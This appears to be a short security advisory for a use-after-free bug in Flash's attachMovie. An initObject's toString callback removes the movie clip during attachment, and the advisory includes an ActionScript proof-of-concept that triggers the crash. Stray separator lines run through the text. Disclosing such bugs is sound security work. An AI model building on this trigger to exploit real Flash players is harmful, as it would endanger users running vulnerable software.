There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:
|
|
|
|
n = {_quality : {toString : func}};
|
|
function func(){
|
|
|
|
trace("hello");
|
|
|
|
newResetButton.removeMovieClip();
|
|
return "test";
|
|
}
|
|
|
|
_root.attachMovie("myResetButton","newResetButton",200, n);
|
|
|
|
A sample fla and swf are attached.
|
|
